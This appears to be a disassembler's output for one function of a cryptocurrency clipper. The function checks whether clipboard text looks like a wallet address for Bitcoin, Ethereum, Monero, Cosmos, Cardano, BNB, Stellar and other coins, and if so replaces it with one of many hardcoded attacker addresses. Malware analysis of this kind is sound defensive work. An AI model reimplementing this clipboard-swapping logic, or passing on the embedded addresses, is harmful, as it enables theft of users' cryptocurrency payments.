Function at 0x40f620
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0x10], 0
mov eax, dword [ebp + 8]
push eax
call sub.MSVCRT.dll_strlen
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x31
je 0x40f79d
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x33
je 0x40f79d
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x58
je 0x40f79d
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x44
je 0x40f79d
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x30
je 0x40f79d
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x4c
je 0x40f79d
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x72
je 0x40f79d
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x54
je 0x40f79d
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x74
je 0x40f79d
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x68
je 0x40f79d
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x51
je 0x40f79d
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x52
je 0x40f79d
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x4e
je 0x40f79d
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x41
je 0x40f79d
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x53
je 0x40f79d
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x73
je 0x40f79d
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x71
je 0x40f79d
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x63
je 0x40f79d
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x34
je 0x40f79d
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x61
je 0x40f79d
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x46
je 0x40f79d
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x47
je 0x40f79d
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x62
je 0x40f79d
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x55
je 0x40f79d
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x45
je 0x40f79d
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x42
je 0x40f79d
xor al, al
jmp 0x40fc03
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x34
jne 0x40f7c0
cmp dword [ebp - 4], 0x5a
jb 0x40f7b4
cmp dword [ebp - 4], 0x73
jbe 0x40f7bb
xor al, al
jmp 0x40fc03
jmp 0x40f884
push 0x4165c4
mov ecx, dword [ebp + 8]
push ecx
call fcn.0040fc10
add esp, 8
test eax, eax
je 0x40f7ed
cmp dword [ebp - 4], 0x32
jb 0x40f7e1
cmp dword [ebp - 4], 0x38
jbe 0x40f7e8
xor al, al
jmp 0x40fc03
jmp 0x40f884
push 0x4165d4
mov edx, dword [ebp + 8]
push edx
call fcn.0040fc10
add esp, 8
test eax, eax
je 0x40f817
cmp dword [ebp - 4], 0x2a
jb 0x40f80e
cmp dword [ebp - 4], 0x30
jbe 0x40f815
xor al, al
jmp 0x40fc03
jmp 0x40f884
push 0x4165dc
mov eax, dword [ebp + 8]
push eax
call fcn.0040fc10
add esp, 8
test eax, eax
je 0x40f841
cmp dword [ebp - 4], 0x62
jb 0x40f838
cmp dword [ebp - 4], 0x69
jbe 0x40f83f
xor al, al
jmp 0x40fc03
jmp 0x40f884
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x55
je 0x40f862
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x45
je 0x40f862
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x42
jne 0x40f871
cmp dword [ebp - 4], 9
je 0x40f86f
xor al, al
jmp 0x40fc03
jmp 0x40f884
cmp dword [ebp - 4], 0x15
jb 0x40f87d
cmp dword [ebp - 4], 0x38
jbe 0x40f884
xor al, al
jmp 0x40fc03
push str.bitcoincash:
mov ecx, dword [ebp + 8]
push ecx
call fcn.0040fc10
add esp, 8
test eax, eax
jne 0x40f92b
mov dword [ebp - 0x18], 0
jmp 0x40f8af
mov edx, dword [ebp - 0x18]
add edx, 1
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 4]
jae 0x40f92b
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x31
jne 0x40f8f3
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x18]
movsx ecx, byte [eax]
cmp ecx, 0x4f
je 0x40f8ec
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0x18]
movsx eax, byte [edx]
cmp eax, 0x49
je 0x40f8ec
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x18]
movsx edx, byte [ecx]
cmp edx, 0x6c
jne 0x40f8f3
xor al, al
jmp 0x40fc03
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x18]
movsx ecx, byte [eax]
push ecx
call sub.MSVCRT.dll_isalpha
add esp, 4
test eax, eax
jne 0x40f926
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0x18]
movsx eax, byte [edx]
push eax
call sub.MSVCRT.dll_isdigit
add esp, 4
test eax, eax
jne 0x40f926
xor al, al
jmp 0x40fc03
jmp 0x40f8a6
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x31
jne 0x40f94c
cmp dword [ebp - 4], 0x30
jne 0x40f945
mov dword [ebp - 8], str.15i4zgkk6g4x3eb161Ay9hMj8aZ8dswqEJpNaCY4s4C5ka17
jmp 0x40f94c
mov dword [ebp - 8], str.17SBPhXtH8AxszbyEPPvFaazef6Cpup7Rg
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x33
jne 0x40f95e
mov dword [ebp - 8], str.3AcMV5pSUcxMmmcMbfSkJXRKbCrF3ysUDJ
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x71
jne 0x40f970
mov dword [ebp - 8], str.qrzu3lahc7thkstxdsjamym2sak78j6mpy23fk3mxj
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x58
jne 0x40f982
mov dword [ebp - 8], str.XdxqSoWqiAHKgbXP5zQabiy2kUhbtaiqmn
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x44
jne 0x40f994
mov dword [ebp - 8], str.DAHCJcwE5y3K4nA9YGjiLWSEPmadeh7uZX
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x30
jne 0x40f9a6
mov dword [ebp - 8], str.0x57af5e3E5D6CB0cA6F44D303328b4f68Edaa9E39
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x4c
jne 0x40f9b8
mov dword [ebp - 8], str.LKHcffQ1KFH9byXS8VdfHUYLzY9a8W4ZHg
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x72
jne 0x40f9ca
mov dword [ebp - 8], str.r9Ftrva5RQP24TsK3yA5JVgDHaSSFxvt1s
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x54
jne 0x40f9dc
mov dword [ebp - 8], str.TDfp7Nkqk26x6Yx7Cg4otm96HLpaUXRXfY
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x74
jne 0x40f9ee
mov dword [ebp - 8], str.t1aCQnZyyAmDbuDxHvWHYJw8yHKXvGKfx2H
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x68
jne 0x40fa00
mov dword [ebp - 8], str.hxb0ccffbc162f0f385a6ee3a46bf0a8377014ff7d
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x51
jne 0x40fa12
mov dword [ebp - 8], str.QagCRREYojMZckkdU6j66KenvUndoozyCu
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x52
jne 0x40fa24
mov dword [ebp - 8], str.RATLXTEPf5kdnR2bZ5oqYVBqHP4F1EsSc4
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x4e
jne 0x40fa36
mov dword [ebp - 8], str.NBYR6GLSXLPMZH3WKU5VMAH7TDVLNYUITTSBYEYW
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x41
jne 0x40fa48
mov dword [ebp - 8], str.AJE3WzUsBvX1BWF1fcnwby28114DKpoSVm
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x53
jne 0x40fa5a
mov dword [ebp - 8], str.SgKyJ1YEWrnjmh2YtjNXcR4kVKqWqjYvG7
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x73
jne 0x40fa6c
mov dword [ebp - 8], str.s1jsY8nEwU99RVQ3sKRmfvZyBaSdzMLPKrC
push str.bitcoincash
mov edx, dword [ebp + 8]
push edx
call fcn.0040fc10
add esp, 8
test eax, eax
je 0x40fa88
mov dword [ebp - 8], str.bitcoincash:qrzu3lahc7thkstxdsjamym2sak78j6mpy23fk3mxj
push str.cosmos
mov eax, dword [ebp + 8]
push eax
call fcn.0040fc10
add esp, 8
test eax, eax
je 0x40faa4
mov dword [ebp - 8], str.cosmos1d2hdcd5sdfn5afhxmglxv97duk2vuq2vuthslj
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x34
jne 0x40fab6
mov dword [ebp - 8], str.4AfbdZbgJ52fg6GbKkR2gRT3DMboW1ZToGisLqu3psxsGEtXoGg8QGhdfhcYkX5He19L2qEJpG2fajSz7mxEbYQF2zCAMKs
push str.addr
mov eax, dword [ebp + 8]
push eax
call fcn.0040fc10
add esp, 8
test eax, eax
je 0x40fad2
mov dword [ebp - 8], str.addr1qx2wk3tgakr5ftmva2j0jwypqdcq937ntg0ptjpu2cvglggsdyeyhxw955x8lsxew5n5v7tz0ewz34p5e8fmqm9rqv4suhfcr4
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x46
jne 0x40fae4
mov dword [ebp - 8], str.FbbtqcGFqcrWKbd67VPPi6PKJpNALJJyoy
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x47
jne 0x40faf6
mov dword [ebp - 8], str.GCY7OC7EPYI6LSMPCC54UBGNFGFMX2LJF6SCVRKS5CJD5YMHVQSGBJVW
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x62
jne 0x40fb55
push 0x416a58
mov ecx, dword [ebp + 8]
push ecx
call fcn.0040fc10
add esp, 8
test eax, eax
je 0x40fb1d
mov dword [ebp - 8], str.bnb1qq5re95dlsf0l0edx8kjpurluc5uslgdgqzxnv
push str.band
mov edx, dword [ebp + 8]
push edx
call fcn.0040fc10
add esp, 8
test eax, eax
je 0x40fb39
mov dword [ebp - 8], str.band192xtp5y3l0z4a4aeqywyfmdefrxxqlyuxcsngc
push 0x416abc
mov eax, dword [ebp + 8]
push eax
call fcn.0040fc10
add esp, 8
test eax, eax
je 0x40fb55
mov dword [ebp - 8], str.bc1qfqne66vggljvmreg8gz6ng8xrjtf63vrm4c40a
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x55
jne 0x40fb67
mov dword [ebp - 8], str.U24188479
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x45
jne 0x40fb79
mov dword [ebp - 8], str.E27440746
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x42
jne 0x40fb8b
mov dword [ebp - 8], str.B23181897
mov ecx, dword [ebp - 8]
push ecx
call sub.MSVCRT.dll_strlen
add esp, 4
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0xc]
add edx, 1
push edx
push 0x2002
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0xc]
add ecx, 1
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0x10]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x40fc01
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov edx, dword [ebp - 0x14]
push edx
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov al, 1
mov esp, ebp
pop ebp
ret